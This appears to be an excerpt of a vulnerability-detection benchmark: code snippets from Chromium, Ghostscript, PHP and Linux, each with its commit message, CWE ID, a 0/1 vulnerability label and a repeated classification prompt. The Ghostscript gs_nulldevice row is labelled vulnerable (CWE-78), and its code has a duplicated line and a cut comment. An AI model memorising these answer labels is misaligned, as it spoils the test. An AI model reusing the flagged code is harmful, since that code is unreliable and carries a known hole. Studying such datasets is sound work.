Code: AffineTransform LayoutSVGViewportContainer::viewportTransform() const
{
ASSERT(element());
if (isSVGSVGElement(*element())) {
SVGSVGElement* svg = toSVGSVGElement(element());
return svg->viewBoxToViewTransform(m_viewport.width(), m_viewport.height());
}
return AffineTransform();
}
Commit Message: Avoid using forced layout to trigger paint invalidation for SVG containers
Currently, SVG containers in the LayoutObject hierarchy force layout of
their children if the transform changes. The main reason for this is to
trigger paint invalidation of the subtree. In some cases - changes to the
scale factor - there are other reasons to trigger layout, like computing
a new scale factor for <text> or re-layout nodes with non-scaling stroke.
Compute a "scale-factor change" in addition to the "transform change"
already computed, then use this new signal to determine if layout should
be forced for the subtree. Trigger paint invalidation using the
LayoutObject flags instead.
The downside to this is that paint invalidation will walk into "hidden"
containers which rarely require repaint (since they are not technically
visible). This will hopefully be rectified in a follow-up CL.
For the testcase from 603850, this essentially eliminates the cost of
layout (from ~350ms to ~0ms on authors machine; layout cost is related
to text metrics recalculation), bumping frame rate significantly.
BUG=603956,603850
Review-Url: https://codereview.chromium.org/1996543002
Cr-Commit-Position: refs/heads/master@{#400950}
CWE ID:
| 0
| 121,142
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: gs_nulldevice(gs_gstate * pgs)
{
int code = 0;
if (pgs->device == 0 || !gx_device_is_null(pgs->device)) {
gx_device *ndev;
code = gs_copydevice(&ndev, (const gx_device *)&gs_null_device,
pgs->memory);
if (code < 0)
return code;
/*
* Internal devices have a reference count of 0, not 1,
* aside from references from graphics states.
to sort out how the icc profile is best handled with this device.
It seems to inherit properties from the current device if there
is one */
rc_init(ndev, pgs->memory, 0);
if (pgs->device != NULL) {
if ((code = dev_proc(pgs->device, get_profile)(pgs->device,
&(ndev->icc_struct))) < 0)
return code;
rc_increment(ndev->icc_struct);
set_dev_proc(ndev, get_profile, gx_default_get_profile);
}
if ((code = gs_setdevice_no_erase(pgs, ndev)) < 0)
if ((code = gs_setdevice_no_erase(pgs, ndev)) < 0)
gs_free_object(pgs->memory, ndev, "gs_copydevice(device)");
}
return code;
}
Commit Message:
CWE ID: CWE-78
| 1
| 164,687
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: PlatformSensorFusionTest() {
provider_ = std::make_unique<FakePlatformSensorProvider>();
PlatformSensorProvider::SetProviderForTesting(provider_.get());
}
Commit Message: android: Fix sensors in device service.
This patch fixes a bug that prevented more than one sensor data
to be available at once when using the device motion/orientation
API.
The issue was introduced by this other patch [1] which fixed
some security-related issues in the way shared memory region
handles are managed throughout Chromium (more details at
https://crbug.com/789959).
The device service´s sensor implementation doesn´t work
correctly because it assumes it is possible to create a
writable mapping of a given shared memory region at any
time. This assumption is not correct on Android, once an
Ashmem region has been turned read-only, such mappings
are no longer possible.
To fix the implementation, this CL changes the following:
- PlatformSensor used to require moving a
mojo::ScopedSharedBufferMapping into the newly-created
instance. Said mapping being owned by and destroyed
with the PlatformSensor instance.
With this patch, the constructor instead takes a single
pointer to the corresponding SensorReadingSharedBuffer,
i.e. the area in memory where the sensor-specific
reading data is located, and can be either updated
or read-from.
Note that the PlatformSensor does not own the mapping
anymore.
- PlatformSensorProviderBase holds the *single* writable
mapping that is used to store all SensorReadingSharedBuffer
buffers. It is created just after the region itself,
and thus can be used even after the region's access
mode has been changed to read-only.
Addresses within the mapping will be passed to
PlatformSensor constructors, computed from the
mapping's base address plus a sensor-specific
offset.
The mapping is now owned by the
PlatformSensorProviderBase instance.
Note that, security-wise, nothing changes, because all
mojo::ScopedSharedBufferMapping before the patch actually
pointed to the same writable-page in memory anyway.
Since unit or integration tests didn't catch the regression
when [1] was submitted, this patch was tested manually by
running a newly-built Chrome apk in the Android emulator
and on a real device running Android O.
[1] https://chromium-review.googlesource.com/c/chromium/src/+/805238
BUG=805146
R=mattcary@chromium.org,alexilin@chromium.org,juncai@chromium.org,reillyg@chromium.org
Change-Id: I7d60a1cad278f48c361d2ece5a90de10eb082b44
Reviewed-on: https://chromium-review.googlesource.com/891180
Commit-Queue: David Turner <digit@chromium.org>
Reviewed-by: Reilly Grant <reillyg@chromium.org>
Reviewed-by: Matthew Cary <mattcary@chromium.org>
Reviewed-by: Alexandr Ilin <alexilin@chromium.org>
Cr-Commit-Position: refs/heads/master@{#532607}
CWE ID: CWE-732
| 0
| 148,966
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static HashTable* spl_object_storage_debug_info(zval *obj, int *is_temp) /* {{{ */
{
spl_SplObjectStorage *intern = Z_SPLOBJSTORAGE_P(obj);
spl_SplObjectStorageElement *element;
HashTable *props;
zval tmp, storage;
zend_string *md5str;
zend_string *zname;
HashTable *debug_info;
*is_temp = 1;
props = Z_OBJPROP_P(obj);
ALLOC_HASHTABLE(debug_info);
ZEND_INIT_SYMTABLE_EX(debug_info, zend_hash_num_elements(props) + 1, 0);
zend_hash_copy(debug_info, props, (copy_ctor_func_t)zval_add_ref);
array_init(&storage);
ZEND_HASH_FOREACH_PTR(&intern->storage, element) {
md5str = php_spl_object_hash(&element->obj);
array_init(&tmp);
/* Incrementing the refcount of obj and inf would confuse the garbage collector.
* Prefer to null the destructor */
Z_ARRVAL_P(&tmp)->pDestructor = NULL;
add_assoc_zval_ex(&tmp, "obj", sizeof("obj") - 1, &element->obj);
add_assoc_zval_ex(&tmp, "inf", sizeof("inf") - 1, &element->inf);
zend_hash_update(Z_ARRVAL(storage), md5str, &tmp);
zend_string_release(md5str);
} ZEND_HASH_FOREACH_END();
zname = spl_gen_private_prop_name(spl_ce_SplObjectStorage, "storage", sizeof("storage")-1);
zend_symtable_update(debug_info, zname, &storage);
zend_string_release(zname);
return debug_info;
}
/* }}} */
Commit Message: Fix bug #73257 and bug #73258 - SplObjectStorage unserialize allows use of non-object as key
CWE ID: CWE-119
| 0
| 73,700
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: Response PageHandler::Enable() {
enabled_ = true;
if (GetWebContents() && GetWebContents()->ShowingInterstitialPage())
frontend_->InterstitialShown();
return Response::FallThrough();
}
Commit Message: [DevTools] Do not allow Page.setDownloadBehavior for extensions
Bug: 866426
Change-Id: I71b672978e1a8ec779ede49da16b21198567d3a4
Reviewed-on: https://chromium-review.googlesource.com/c/1270007
Commit-Queue: Dmitry Gozman <dgozman@chromium.org>
Reviewed-by: Devlin <rdevlin.cronin@chromium.org>
Cr-Commit-Position: refs/heads/master@{#598004}
CWE ID: CWE-20
| 0
| 143,602
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static PHP_FUNCTION(session_status)
{
if (zend_parse_parameters_none() == FAILURE) {
return;
}
RETURN_LONG(PS(session_status));
}
Commit Message:
CWE ID: CWE-416
| 0
| 9,594
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void sg_clean(struct usb_sg_request *io)
{
if (io->urbs) {
while (io->entries--)
usb_free_urb(io->urbs[io->entries]);
kfree(io->urbs);
io->urbs = NULL;
}
io->dev = NULL;
}
Commit Message: USB: core: harden cdc_parse_cdc_header
Andrey Konovalov reported a possible out-of-bounds problem for the
cdc_parse_cdc_header function. He writes:
It looks like cdc_parse_cdc_header() doesn't validate buflen
before accessing buffer[1], buffer[2] and so on. The only check
present is while (buflen > 0).
So fix this issue up by properly validating the buffer length matches
what the descriptor says it is.
Reported-by: Andrey Konovalov <andreyknvl@google.com>
Tested-by: Andrey Konovalov <andreyknvl@google.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-119
| 0
| 59,760
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.